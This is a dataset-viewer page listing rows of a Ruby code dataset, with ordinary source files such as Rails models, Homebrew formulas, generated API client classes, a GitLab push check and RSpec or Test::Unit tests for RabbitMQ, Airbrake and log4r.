or4cl3ai/Aiden_t5
Text Generation
•
Updated
•
817
•
14
hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
d5ea3e43a1d1989ca4043a277f536ba99d690b90 | 555 | class Approval::ApprovalFlow < ApplicationRecord
include Sys::Model::Base
include Cms::Model::Rel::Content
include Cms::Model::Auth::Content
column_attribute :sort_no, default: 10
# Content
belongs_to :content, class_name: 'Approval::Content::ApprovalFlow', required: true
belongs_to :group, class_name: 'Sys::Group'
has_many :approvals, dependent: :destroy
has_many :approval_requests, dependent: :destroy
validates :title, presence: true
scope :for_user, ->(user) {
where(group_id: [nil] + user.groups.map(&:id))
}
end
| 25.227273 | 84 | 0.722523 |
bbc122cc9ec351756dafb7dd5a8e527ee7e965ad | 7,485 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'date'
require 'google/apis/core/base_service'
require 'google/apis/core/json_representation'
require 'google/apis/core/hashable'
require 'google/apis/errors'
module Google
module Apis
module AdexchangebuyerV1_2
class Account
class Representation < Google::Apis::Core::JsonRepresentation; end
class BidderLocation
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
class AccountsList
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Creative
class Representation < Google::Apis::Core::JsonRepresentation; end
class Correction
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DisapprovalReason
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class FilteringReasons
class Representation < Google::Apis::Core::JsonRepresentation; end
class Reason
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
class CreativesList
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Account
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :bidder_location, as: 'bidderLocation', class: Google::Apis::AdexchangebuyerV1_2::Account::BidderLocation, decorator: Google::Apis::AdexchangebuyerV1_2::Account::BidderLocation::Representation
property :cookie_matching_nid, as: 'cookieMatchingNid'
property :cookie_matching_url, as: 'cookieMatchingUrl'
property :id, as: 'id'
property :kind, as: 'kind'
property :maximum_active_creatives, as: 'maximumActiveCreatives'
property :maximum_total_qps, as: 'maximumTotalQps'
property :number_active_creatives, as: 'numberActiveCreatives'
end
class BidderLocation
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :maximum_qps, as: 'maximumQps'
property :region, as: 'region'
property :url, as: 'url'
end
end
end
class AccountsList
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :items, as: 'items', class: Google::Apis::AdexchangebuyerV1_2::Account, decorator: Google::Apis::AdexchangebuyerV1_2::Account::Representation
property :kind, as: 'kind'
end
end
class Creative
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :html_snippet, as: 'HTMLSnippet'
property :account_id, as: 'accountId'
collection :advertiser_id, as: 'advertiserId'
property :advertiser_name, as: 'advertiserName'
property :agency_id, :numeric_string => true, as: 'agencyId'
property :api_upload_timestamp, as: 'apiUploadTimestamp', type: DateTime
collection :attribute, as: 'attribute'
property :buyer_creative_id, as: 'buyerCreativeId'
collection :click_through_url, as: 'clickThroughUrl'
collection :corrections, as: 'corrections', class: Google::Apis::AdexchangebuyerV1_2::Creative::Correction, decorator: Google::Apis::AdexchangebuyerV1_2::Creative::Correction::Representation
collection :disapproval_reasons, as: 'disapprovalReasons', class: Google::Apis::AdexchangebuyerV1_2::Creative::DisapprovalReason, decorator: Google::Apis::AdexchangebuyerV1_2::Creative::DisapprovalReason::Representation
property :filtering_reasons, as: 'filteringReasons', class: Google::Apis::AdexchangebuyerV1_2::Creative::FilteringReasons, decorator: Google::Apis::AdexchangebuyerV1_2::Creative::FilteringReasons::Representation
property :height, as: 'height'
collection :impression_tracking_url, as: 'impressionTrackingUrl'
property :kind, as: 'kind'
collection :product_categories, as: 'productCategories'
collection :restricted_categories, as: 'restrictedCategories'
collection :sensitive_categories, as: 'sensitiveCategories'
property :status, as: 'status'
collection :vendor_type, as: 'vendorType'
property :version, as: 'version'
property :video_url, as: 'videoURL'
property :width, as: 'width'
end
class Correction
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :details, as: 'details'
property :reason, as: 'reason'
end
end
class DisapprovalReason
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :details, as: 'details'
property :reason, as: 'reason'
end
end
class FilteringReasons
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :date, as: 'date'
collection :reasons, as: 'reasons', class: Google::Apis::AdexchangebuyerV1_2::Creative::FilteringReasons::Reason, decorator: Google::Apis::AdexchangebuyerV1_2::Creative::FilteringReasons::Reason::Representation
end
class Reason
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :filtering_count, :numeric_string => true, as: 'filteringCount'
property :filtering_status, as: 'filteringStatus'
end
end
end
end
class CreativesList
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :items, as: 'items', class: Google::Apis::AdexchangebuyerV1_2::Creative, decorator: Google::Apis::AdexchangebuyerV1_2::Creative::Representation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
end
end
end
end
end
| 39.394737 | 229 | 0.644623 |
3999b436f667b22852f1048cd56c8dbb4c201cd8 | 1,049 | class Seqkit < Formula
# Shen_2016: "https://doi.org/10.1371/journal.pone.0163962"
desc "Ultrafast FASTA/Q file manipulation"
homepage "https://bioinf.shenwei.me/seqkit/"
# We use binaries to avoid compiling Go code
if OS.mac?
url "https://github.com/shenwei356/seqkit/releases/download/v0.10.0/seqkit_darwin_amd64.tar.gz"
sha256 "73d446b961d65e814bdad49f91aa9ae56bee08163800eb9e3615b5281972d458"
else
url "https://github.com/shenwei356/seqkit/releases/download/v0.10.0/seqkit_linux_amd64.tar.gz"
sha256 "4d286e08df697ab0e66e79b7b953f52361afd14855be4905193833746da47798"
end
version "0.10.0"
bottle do
root_url "https://linuxbrew.bintray.com/bottles-bio"
cellar :any_skip_relocation
sha256 "741feef9e75df707b1af3123a1acbae39a7bebeabb3c89159537e5528e221e33" => :sierra
sha256 "0a0371893365cf4a6a493eab9d367f054e2e63a1cf5e1d010cf1d4c3a17dba47" => :x86_64_linux
end
def install
bin.install "seqkit"
end
test do
assert_match version.to_s, shell_output("#{bin}/seqkit 2>&1")
end
end
| 34.966667 | 99 | 0.771211 |
bbe3c76ed58639313361136e05b5f7c87729c1a0 | 4,175 | module Spree
class BookkeepingDocument < ActiveRecord::Base
PERSISTED_ATTRS = [
:firstname,
:lastname,
:email,
:total,
:number
]
# Spree::BookkeepingDocument cares about creating PDFs. Whenever it needs to know
# anything about the document to send to the view, it asks a view object.
#
# +printable+ should be an Object, such as Spree::Order or Spree::Shipment.
# template should be a string, such as "invoice" or "packaging_slip"
#
belongs_to :printable, polymorphic: true
validates :printable, :template, presence: true
validates *PERSISTED_ATTRS, presence: true, if: -> { self.persisted? }
scope :invoices, -> { where(template: 'invoice') }
before_create :copy_view_attributes
after_save :after_save_actions
# An instance of Spree::Printable::#{YourModel}::#{YourTemplate}Presenter
#
def view
@_view ||= view_class.new(printable)
end
def date
created_at.to_date
end
def template_name
"spree/printables/#{single_lower_case_name(printable.class.name)}/#{template}"
end
# If the document is called from the view with some method it doesn't know,
# just call the view object. It should know.
def method_missing(method_name, *args, &block)
if view.respond_to? method_name
view.send(method_name, *args, &block)
else
super
end
end
def document_type
"#{printable_type.demodulize.tableize.singularize}_#{template}"
end
# Returns the given template as pdf binary suitable for Rails send_data
#
# If the file is already present it returns this
# else it generates a new file, stores and returns this.
#
# You can disable the pdf file generation with setting
#
# Spree::PrintInvoice::Config.store_pdf to false
#
def pdf
if Spree::PrintInvoice::Config.store_pdf
send_or_create_pdf
else
render_pdf
end
end
# = The PDF file_name
#
def file_name
@_file_name ||= "#{template}-D#{id}-N#{number}.pdf"
end
# = PDF file path
#
def file_path
@_file_path ||= Rails.root.join(storage_path, "#{file_name}")
end
# = PDF storage folder path for given template name
#
# Configure the storage path with +Spree::PrintInvoice::Config.storage_path+
#
# Each template type gets it own pluralized folder inside
# of +Spree::PrintInvoice::Config.storage_path+
#
# == Example:
#
# storage_path('invoice') => "tmp/pdf_prints/invoices"
#
# Creates the folder if it's not present yet.
#
def storage_path
storage_path = Rails.root.join(Spree::PrintInvoice::Config.storage_path, template.pluralize)
FileUtils.mkdir_p(storage_path)
storage_path
end
# Renders the prawn template for give template name in context of ActionView.
#
# Prawn templates need to be placed in the correct folder. For example, for a PDF from
# a Spree::Order with the invoice template, it would be
# the +app/views/spree/printables/order/invoices+ folder.
#
# Assigns +@doc+ instance variable
#
def render_pdf
ApplicationController.render(
template: "#{template_name}.pdf.prawn",
assigns: { doc: self }
)
end
private
def copy_view_attributes
PERSISTED_ATTRS.each do |attr|
send("#{attr}=", view.send(attr))
end
end
# For a Spree::Order printable and an "invoice" template,
# you would get "spree/documents/order/invoice_view"
# --> Spree::Printables::Order::InvoiceView
#
def view_class
@_view_class ||= "#{template_name}_view".classify.constantize
end
def single_lower_case_name(class_string)
@_single_lower_class_name ||= class_string.demodulize.tableize.singularize
end
# Sends stored pdf for given template from disk.
#
# Renders and stores it if it's not yet present.
#
def send_or_create_pdf
unless File.exist?(file_path)
File.open(file_path, 'wb') { |f| f.puts render_pdf }
end
IO.binread(file_path)
end
end
end
| 28.020134 | 98 | 0.654132 |
33a150fd15b6cd53f1f02765b7d6897a7d12aed8 | 826 | Gem::Specification.new do |s|
s.name = 'aws-s3'
s.version = '0.6.2.20110114001'
s.summary = "Client library for Amazon's Simple Storage Service's REST API"
s.description = s.summary
s.email = '[email protected]'
s.author = 'Marcel Molina Jr.'
s.has_rdoc = true
s.extra_rdoc_files = %w(README COPYING INSTALL)
s.homepage = 'http://amazon.rubyforge.org'
s.rubyforge_project = 'amazon'
s.files = ['Rakefile'] + Dir['lib/**/*.rb'] + Dir['bin/*'] + Dir['support/**/*.rb']
s.executables << 's3sh'
s.test_files = Dir['test/**/*']
s.add_dependency 'xml-simple'
s.add_dependency 'builder'
s.add_dependency 'mime-types'
s.rdoc_options = ['--title', "AWS::S3 -- Support for Amazon S3's REST api",
'--main', 'README',
'--line-numbers', '--inline-source']
end
| 35.913043 | 85 | 0.617433 |
62e80425ed5e3be1f80736230f16429ae9845b6d | 1,294 | module Kit::Auth::Endpoints::Web::Users::Settings::Oauth::Index
def self.endpoint(router_conn:)
Kit::Organizer.call(
list: [
[:alias, :web_require_session_user!],
self.method(:list),
self.method(:render),
],
ctx: { router_conn: router_conn },
)
end
Kit::Router::Services::Router.register(
uid: 'kit_auth|web|settings|oauth|index',
aliases: {
'web|settings|oauth|index': {
'web|settings|oauth' => [
# OAuth
'web|users|oauth|sign_in|after_with_new_identity',
'web|users|oauth|new_identity',
'web|users|oauth|error|already_linked',
'web|users|oauth|error|users_oauth_identity_conflict',
'web|users|oauth|error|users_conflict',
],
},
},
target: self.method(:endpoint),
)
def self.list(router_conn:)
list = Kit::Auth::Models::Read::UserOauthIdentity
.where(user_id: router_conn.metadata[:session_user].id)
.load
[:ok, list: list]
end
def self.render(router_conn:, list:)
Kit::Domain::Endpoints::Http.render(
router_conn: router_conn,
component: Kit::Auth::Components::Pages::Users::Settings::Oauth::IndexComponent,
params: {
list: list,
},
)
end
end
| 25.88 | 88 | 0.602009 |
e9a09b69228ca43c88e711dec5541f708e7617e9 | 6,974 | =begin
#OpenAPI Petstore
#This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \" \\
OpenAPI spec version: 1.0.0
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 3.1.1-SNAPSHOT
=end
require 'date'
module Petstore
class MapTest
attr_accessor :map_map_of_string
attr_accessor :map_of_enum_string
attr_accessor :direct_map
attr_accessor :indirect_map
class EnumAttributeValidator
attr_reader :datatype
attr_reader :allowable_values
def initialize(datatype, allowable_values)
@allowable_values = allowable_values.map do |value|
case datatype.to_s
when /Integer/i
value.to_i
when /Float/i
value.to_f
else
value
end
end
end
def valid?(value)
!value || allowable_values.include?(value)
end
end
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'map_map_of_string' => :'map_map_of_string',
:'map_of_enum_string' => :'map_of_enum_string',
:'direct_map' => :'direct_map',
:'indirect_map' => :'indirect_map'
}
end
# Attribute type mapping.
def self.openapi_types
{
:'map_map_of_string' => :'Hash<String, Hash<String, String>>',
:'map_of_enum_string' => :'Hash<String, String>',
:'direct_map' => :'Hash<String, BOOLEAN>',
:'indirect_map' => :'StringBooleanMap'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
if attributes.has_key?(:'map_map_of_string')
if (value = attributes[:'map_map_of_string']).is_a?(Hash)
self.map_map_of_string = value
end
end
if attributes.has_key?(:'map_of_enum_string')
if (value = attributes[:'map_of_enum_string']).is_a?(Hash)
self.map_of_enum_string = value
end
end
if attributes.has_key?(:'direct_map')
if (value = attributes[:'direct_map']).is_a?(Hash)
self.direct_map = value
end
end
if attributes.has_key?(:'indirect_map')
self.indirect_map = attributes[:'indirect_map']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
map_map_of_string == o.map_map_of_string &&
map_of_enum_string == o.map_of_enum_string &&
direct_map == o.direct_map &&
indirect_map == o.indirect_map
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[map_map_of_string, map_of_enum_string, direct_map, indirect_map].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = Petstore.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 29.179916 | 157 | 0.618727 |
1c6aba968eda9941cf1e1eef7a86429a7c045243 | 856 | #
# Be sure to run `pod lib lint GLArithmetic.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'GLArithmetic'
s.version = '0.2.3'
s.summary = 'GLArithmetic.'
s.description = <<-DESC
GLArithmetic Caculate
DESC
s.homepage = 'https://gitee.com/guoleiCoder'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'guolei' =>'[email protected]' }
s.source = { :git => 'https://github.com/GreyLove/GLArithmetic.git', :tag => s.version.to_s }
s.ios.deployment_target = '7.0'
s.source_files = 'GLArithmetic/Classes/**/*'
end
| 29.517241 | 105 | 0.598131 |
6a91027677c75ae21a05aa48e638b240e1f1fc3b | 45 | collection @users
extends 'api/v1/users/show' | 22.5 | 27 | 0.8 |
bb15972ff99d0487f9720d19e843505ed18a2c83 | 4,697 | require_relative "../helper"
require "fluent/test/driver/output"
require "fluent/plugin/out_rabbitmq"
class RabbitMQOutputTest < Test::Unit::TestCase
def setup
Fluent::Test.setup
@time = Fluent::Engine.now
@tag = "test.test"
bunny = Bunny.new
bunny.start
@channel = bunny.create_channel
@queue = @channel.queue("test_out_fanout")
fanout_exchange = Bunny::Exchange.new(@channel, "fanout", "test_out_fanout")
@queue.bind(fanout_exchange)
end
def teardown
super
Fluent::Engine.stop
end
CONFIG = %[
host localhost
port 5672
user guest
pass guest
vhost /
exchange test_out_fanout
exchange_type fanout
heartbeat 10
]
def create_driver(conf = CONFIG)
Fluent::Test::Driver::Output.new(Fluent::Plugin::RabbitMQOutput).configure(conf)
end
def test_configure
d = create_driver
assert_equal "localhost", d.instance.host
assert_equal 5672, d.instance.port
assert_equal "guest", d.instance.user
assert_equal "guest", d.instance.pass
assert_equal "/", d.instance.vhost
assert_equal "test_out_fanout", d.instance.exchange
assert_equal "fanout", d.instance.exchange_type
assert_equal 10, d.instance.heartbeat
end
def test_start_and_shutdown
d = create_driver
d.instance.start
d.instance.shutdown
end
def test_emit
d = create_driver
record = {"test_emit" => 1}
d.run(default_tag: "test.test") do
d.feed(@time, record)
end
_, _, body = @queue.pop
assert_equal(record, JSON.parse(body))
end
def test_topic
d = create_driver(%[
exchange test_out_topic
exchange_type topic
routing_key test_out_topic
])
queue = @channel.queue("test_out_topic")
topic_exchange = Bunny::Exchange.new(@channel, "topic", "test_out_topic")
queue.bind(topic_exchange, routing_key: "test_out_topic")
record = {"test_topic" => 1}
d.run(default_tag: "test.test") do
d.feed(@time, record)
end
_, _, body = queue.pop
assert_equal(record, JSON.parse(body))
end
def test_timestamp
d = create_driver(%[
exchange test_out_fanout
exchange_type fanout
timestamp true
])
record = {"test_timestamp" => true}
d.run(default_tag: "test.test") do
d.feed(@time, record)
end
_, properties, _ = @queue.pop
assert_equal(@time, properties[:timestamp].to_i)
end
def test_id_key
d = create_driver(%[
exchange test_out_fanout
exchange_type fanout
id_key test_id
])
message_id = "abc123"
record = {"test_id" => message_id, "foo" => "bar"}
d.run(default_tag: "test.test") do
d.feed(@time, record)
end
_, properties, _ = @queue.pop
assert_equal(message_id, properties[:message_id])
end
def test_server_interval
d = create_driver(%[
exchange test
exchange_type fanout
heartbeat server
])
assert_equal(:server, d.instance.heartbeat)
end
def test_server_interval_invalid_string
assert_raise ArgumentError do
create_driver(%[
exchange test
exchange_type fanout
heartbeat invalid
])
end
end
def test_emit_ltsv
d = create_driver(%[
exchange test_out_fanout
exchange_type fanout
format ltsv
])
record = {test_emit_ltsv: "2"}
d.run(default_tag: "test.test") do
d.feed(@time, record)
end
_, _, body = @queue.pop
assert_equal(record, LTSV.parse(body).first)
end
def test_emit_msgpack
d = create_driver(%[
exchange test_out_fanout
exchange_type fanout
format msgpack
])
record = {"test_emit_msgpack" => true}
d.run(default_tag: "test.test") do
d.feed(@time, record)
end
_, _, body = @queue.pop
assert_equal(record, MessagePack.unpack(body))
end
def test_emit_single_value
d = create_driver(%[
exchange test_out_fanout
exchange_type fanout
format single_value
])
string = "test_emit_single_value"
record = {"message" => string}
d.run(default_tag: "test.test") do
d.feed(@time, record)
end
_, _, body = @queue.pop
body.force_encoding("utf-8")
assert_equal(string, body.chomp)
end
def test_buffered_emit
d = create_driver(%[
exchange test_out_fanout
exchange_type fanout
format json
timestamp true
<buffer>
</buffer>
])
record = {"test_emit" => 1}
d.run(default_tag: "test.test") do
d.feed(@time, record)
end
_, properties, body = @queue.pop
assert_equal(record, JSON.parse(body))
assert_equal(@time, properties[:timestamp].to_i)
end
end
| 22.051643 | 84 | 0.650841 |
acca5216a0e899517a351e90c88f778ab49060bf | 456 | Pod::Spec.new do |s|
s.name = 'Base32'
s.version = '1.0.2'
s.license = 'Public Domain'
s.summary = 'RFC 4648 Base32 implementation in Objective-C ARC.'
s.homepage = 'http://github.com/ekscrypto/Base32'
s.author = { 'Dave Poirier' => '[email protected]' }
s.source = { :git => 'https://github.com/ekscrypto/Base32.git', :tag => '1.0.2' }
s.source_files = 'Classes', 'Base32/MF_Base32Additions.{h,m}'
s.requires_arc = true
end
| 38 | 85 | 0.638158 |
acefae4f3a04cb10785fc4e8113bcdcd63d56203 | 79 | # frozen_string_literal: true
require_relative '../asciidoctor/pdf/converter'
| 19.75 | 47 | 0.810127 |
ff7e7aee46d8b0e64c7dd514f908648022b61cf8 | 3,876 | describe AirbrakeApi::V3::NoticeParser do
let(:app) { Fabricate(:app) }
let(:notifier_params) do
{
"name" => "notifiername",
"version" => "notifierversion",
"url" => "notifierurl"
}
end
it "raises error when errors attribute is missing" do
expect do
described_class.new({}).report
end.to raise_error(AirbrakeApi::ParamsError)
expect do
described_class.new("errors" => []).report
end.to raise_error(AirbrakeApi::ParamsError)
end
it "does not raise an error for the optional environment field" do
expect do
described_class.new("errors" => ["MyError"]).report
end.not_to raise_error
end
it "parses JSON payload and returns ErrorReport" do
params = build_params_for("api_v3_request.json", key: app.api_key)
report = described_class.new(params).report
notice = report.generate_notice!
expect(report.error_class).to eq("Error")
expect(report.message).to eq("Error: TestError")
expect(report.backtrace.lines.size).to eq(9)
expect(notice.user_attributes).to include(
"id" => 1,
"name" => "John Doe",
"email" => "[email protected]",
"username" => "john"
)
expect(notice.session).to include("isAdmin" => true)
expect(notice.params).to include("returnTo" => "dashboard")
expect(notice.env_vars).to include(
"navigator_vendor" => "Google Inc.",
"HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36"
)
end
it "parses JSON payload when api_key is missing but project_id is present" do
params = build_params_for("api_v3_request.json", key: nil, project_id: app.api_key)
report = described_class.new(params).report
expect(report).to be_valid
end
it "parses JSON payload with missing backtrace" do
json = Rails.root.join("spec", "fixtures", "api_v3_request_without_backtrace.json").read
params = JSON.parse(json)
params["key"] = app.api_key
report = described_class.new(params).report
report.generate_notice!
expect(report.error_class).to eq("Error")
expect(report.message).to eq("Error: TestError")
expect(report.backtrace.lines.size).to eq(0)
end
it "parses JSON payload with deprecated user keys" do
params = build_params_for("api_v3_request_with_deprecated_user_keys.json", key: app.api_key)
report = AirbrakeApi::V3::NoticeParser.new(params).report
notice = report.generate_notice!
expect(notice.user_attributes).to include(
"id" => 1,
"name" => "John Doe",
"email" => "[email protected]",
"username" => "john"
)
end
it "takes the notifier from root" do
parser = described_class.new(
"errors" => ["MyError"],
"notifier" => notifier_params,
"environment" => {})
expect(parser.attributes[:notifier]).to eq(notifier_params)
end
it "takes the notifier from the context" do
parser = described_class.new(
"errors" => ["MyError"],
"context" => { "notifier" => notifier_params },
"environment" => {})
expect(parser.attributes[:notifier]).to eq(notifier_params)
end
it "takes the hostname from the context" do
parser = described_class.new(
"errors" => ["MyError"],
"context" => { "hostname" => "app01.infra.example.com", "url" => "http://example.com/some-page" },
"environment" => {})
expect(parser.attributes[:server_environment]["hostname"]).to eq("app01.infra.example.com")
end
def build_params_for(fixture, options={})
json = Rails.root.join("spec", "fixtures", fixture).read
data = JSON.parse(json)
data["key"] = options[:key] if options.key?(:key)
data["project_id"] = options[:project_id] if options.key?(:project_id)
data
end
end
| 32.847458 | 149 | 0.653767 |
288a7e0d41a55d024c5a87d291d9b794c6661efc | 1,015 | # frozen_string_literal: true
module Gitlab
module Checks
class PushFileCountCheck < BaseChecker
attr_reader :repository, :newrev, :limit, :logger
LOG_MESSAGES = {
diff_content_check: "Validating diff contents being single file..."
}.freeze
ERROR_MESSAGES = {
upper_limit: "The repository can contain at most %{limit} file(s).",
lower_limit: "The repository must contain at least 1 file."
}.freeze
def initialize(change, repository:, limit:, logger:)
@repository = repository
@newrev = change[:newrev]
@limit = limit
@logger = logger
end
def validate!
file_count = repository.ls_files(newrev).size
if file_count > limit
raise ::Gitlab::GitAccess::ForbiddenError, ERROR_MESSAGES[:upper_limit] % { limit: limit }
end
if file_count == 0
raise ::Gitlab::GitAccess::ForbiddenError, ERROR_MESSAGES[:lower_limit]
end
end
end
end
end
| 26.710526 | 100 | 0.629557 |
f88ac0f91a0235d6d551b765c62bcab52617349b | 3,036 | module SynapsePayRest
class CardUsNode < BaseNode
class << self
private
def payload_for_create(nickname:, document_id:, card_type:, **options)
args = {
type: 'CARD-US',
nickname: nickname,
document_id: document_id,
card_type: card_type,
}.merge(options)
super(args)
end
end
def update_preferences(**options)
if options.empty?
raise ArgumentError, 'must provide some key-value pairs to update'
end
payload = payload_for_preferences(options)
response = user.client.nodes.patch(user_id: user.id, node_id: id, payload: payload)
self.class.from_response(user, response)
end
def update_allowed(allowed:)
if allowed.empty?
raise ArgumentError, 'must provide some key-value pairs to update'
end
payload = { 'allowed': allowed }
response = user.client.nodes.patch(user_id: user.id, node_id: id, payload: payload)
self.class.from_response(user, response)
end
# Reissues Debit Card on a node
# Use Reissue if you wish to change the card number associated with the debit card.
# This is meant to be used in instances where the user wishes to change their existing card
# number (due to fraud or any other reason).
#
# @raise [SynapsePayRest::Error] if wrong guess or HTTP error
#
# @return [SynapsePayRest::CardUsNode]
def reissue_card()
response = user.client.nodes.reissue_card(user_id: user.id, node_id: id)
self.class.from_response(user, response)
end
# Reorders Debit Card on a node
# Use Reorder if the user wishes to keep the same card number but want to order a new plastic.
#Can be used in scenarios where the user's card was destroyed.
#
# @raise [SynapsePayRest::Error] if wrong guess or HTTP error
#
# @return [SynapsePayRest::cardUsNode]
def reorder_card()
response = user.client.nodes.reorder_card(user_id: user.id, node_id: id)
self.class.from_response(user, response)
end
private
def payload_for_preferences(**options)
payload = {
'preferences' => {}
}
if options[:allow_foreign_transactions]
payload['preferences']['allow_foreign_transactions'] = options[:allow_foreign_transactions]
end
if options[:atm_withdrawal_limit]
payload['preferences']['atm_withdrawal_limit'] = options[:atm_withdrawal_limit]
end
if options[:max_pin_attempts]
payload['preferences']['max_pin_attempts'] = options[:max_pin_attempts]
end
if options[:pos_withdrawal_limit]
payload['preferences']['pos_withdrawal_limit'] = options[:pos_withdrawal_limit]
end
if options[:security_alerts]
payload['preferences']['security_alerts'] = options[:security_alerts]
end
payload
end
end
end
| 32.645161 | 101 | 0.635375 |
ff1ba36eb8e98fc633eae5c2dc5fec91c3705e18 | 839 | RSpec.describe Log4r::DateDirectoryFileOutputter do
before do
Timecop.freeze(2018, 1, 23)
end
let(:params) {
{
file_path: '/tmp/%Y/%m/%d/request.log',
trunc: 'false'
}
}
it 'should be directory file path' do
outputter = described_class.new('logfile', params)
file_path = outputter.instance_variable_get(:@out).path
expect(file_path).to eq('/tmp/2018/01/23/request.log')
end
it 'should change directory file path' do
outputter = described_class.new('logfile', params)
Timecop.freeze(2018, 1, 24)
file_path = outputter.instance_variable_get(:@out).path
expect(file_path).to eq('/tmp/2018/01/23/request.log')
outputter.send(:write, 'test')
file_path = outputter.instance_variable_get(:@out).path
expect(file_path).to eq('/tmp/2018/01/24/request.log')
end
end
| 28.931034 | 59 | 0.681764 |
28c90c088e0d5a72bcfa78d9825eeaa2b35922d5 | 73 | class BestSellerList < ActiveRecord::Base
has_many :best_sellers
end
| 12.166667 | 41 | 0.794521 |
f8e0700e7a3c8b44821b29fe07bdd34dd6c02a7c | 552 | require 'formula'
class Capnp < Formula
homepage 'http://kentonv.github.io/capnproto/'
url 'http://capnproto.org/capnproto-c++-0.4.1.tar.gz'
sha1 '18ce1a404c2bf68e6625e44927bfe6b67186cb15'
needs :cxx11
def install
system "./configure", "--disable-debug",
"--disable-dependency-tracking",
"--disable-silent-rules",
"--prefix=#{prefix}"
system "make", "check"
system "make", "install"
end
test do
system "#{bin}/capnp", "--version"
end
end
| 24 | 58 | 0.576087 |
